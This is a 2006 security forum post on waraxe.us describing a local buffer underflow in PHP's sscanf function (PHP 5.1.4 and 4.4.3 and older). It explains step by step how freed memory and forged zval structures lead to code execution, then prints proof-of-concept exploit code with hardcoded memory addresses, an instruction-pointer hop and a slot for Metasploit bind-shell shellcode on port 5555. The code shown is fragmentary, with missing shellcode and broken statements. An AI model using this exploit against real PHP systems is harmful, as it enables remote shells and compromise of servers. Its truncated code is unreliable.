Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
June 13, 2024
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 475
Members: 0
Total: 475
PacketStorm News
·301 Moved Permanently

Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Php -> php <= 5.1.4 and <= 4.4.3 local buffer underflow
Post new topic  Reply to topic View previous topic :: View next topic 
php <= 5.1.4 and <= 4.4.3 local buffer underflow
PostPosted: Mon Aug 07, 2006 10:16 pm Reply with quote
Valuable expert
Valuable expert
Joined: Jun 12, 2004
Posts: 88
Location: Estonia/Sweden


Affected versions: php 5.1.4 and older, 4.4.3 and possibly older

Cause: when php-s sscanf functions format argument contains argument swap

and extra arguments are given like.

sscanf('foo ','$1s',$bar) then it reads an pointer to pointer to

zval structure past the end of argument array by one.

Php developers were notified and response and patching was quick. php bug tracker thread here: http://bugs.php.net/bug.php?id=38322

Vulnearability is fixed in CVS.


Attacker needs a double pointer to writable segment in remote binary which can be obtained by

compiling a binary based on all info known about remote host and disassembling binary and searching.

This exploit first fills php internally cached memory with address of pointer (double pointer)

to writable segment. Then by unsetting the variable it frees memory, but does not

zero it, so this way we pass our own pointers to sscanf.

Now sscanf allocated array has valid element one past the array,

sscanf tries to call a function to destruct zval structure.

if its 15-th byte isnt anything valid it will default to doing nothing

and will continue without errors and returns;

sscanf now sets the structure to be of type string and writes

pointer to string (it matched from our first argument to sscanf) and strings

length to a structure-s value union. the strings address is written to first 4 bytes

of structure.

knowing this we construct our own binary zval structure of type object. + shellcode + space

to match format. So now we have successfully called sscanf for the first time

and we got something like ptrptr->ptr->zval-of-type-string in memory

zval-of-type-string first 4 bytes point to our object we passed as argument.

so now we fill the internal cached memory with just pointer to zval. and free it.

when sscanf reads the pointer this time it now moves upwards one level but still

dereferences twice. thus acts upon our zval structure of type object.

when the destructor function now sees the zval is an object it will read

a pointer from our structure to another structure which supposed to contain function

pointers. it will call whatever the 2-cond element points to. all elements are 4 bytes long

thus address pointed to by structures offset 4 is called.

when we give it our ptr-to-zval - 4

it will add 4 bytes to it and dereference it an call whatever is there. and

there is address to our constructed zval object so we are executing code

from the beginning of our structure. eip-hop-over will help us through

unwanted bytes and we are on our way executing our shellcode.



POC developed by Heintz.

Greets to Waraxe from www.waraxe.us

All buds from www.plain-text.info


Thanks to metasploit.com for shellcode loan.


// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro

// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";

// $ptr_to_zval = "\x10\x43\x54\xB0";

// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4

// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,

// kernel 2.6.14-hardened-r3

$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";

$ptr_to_zval = "\x08\x1A\x60\x0C";

$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4

// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes

$eip_hop_over = "\x90\x90\x90\xB8";

# linux_ia32_bind - LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com

$shellcode =









{ // small endian conversion

$t = $ptr_to_ptr_to_zval;

$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_zval;

$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

$t = $ptr_to_obj_handlers;

$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};


$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.


$str = str_repeat($ptr_to_ptr_to_zval,20);









"a ",




AT 14:00 /EVERY:1 DHTTP /oindex.php www.waraxe.us:80 | FIND "SA#037" 1>Nul 2>&1 & IF ERRORLEVEL 0 "c:program filesApache.exe stop & DSAY alarmaaa!"
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
php <= 5.1.4 and <= 4.4.3 local buffer underflow
  www.waraxe.us Forum Index -> Php
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

 Post new topic  Reply to topic  

Powered by phpBB 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.123 Seconds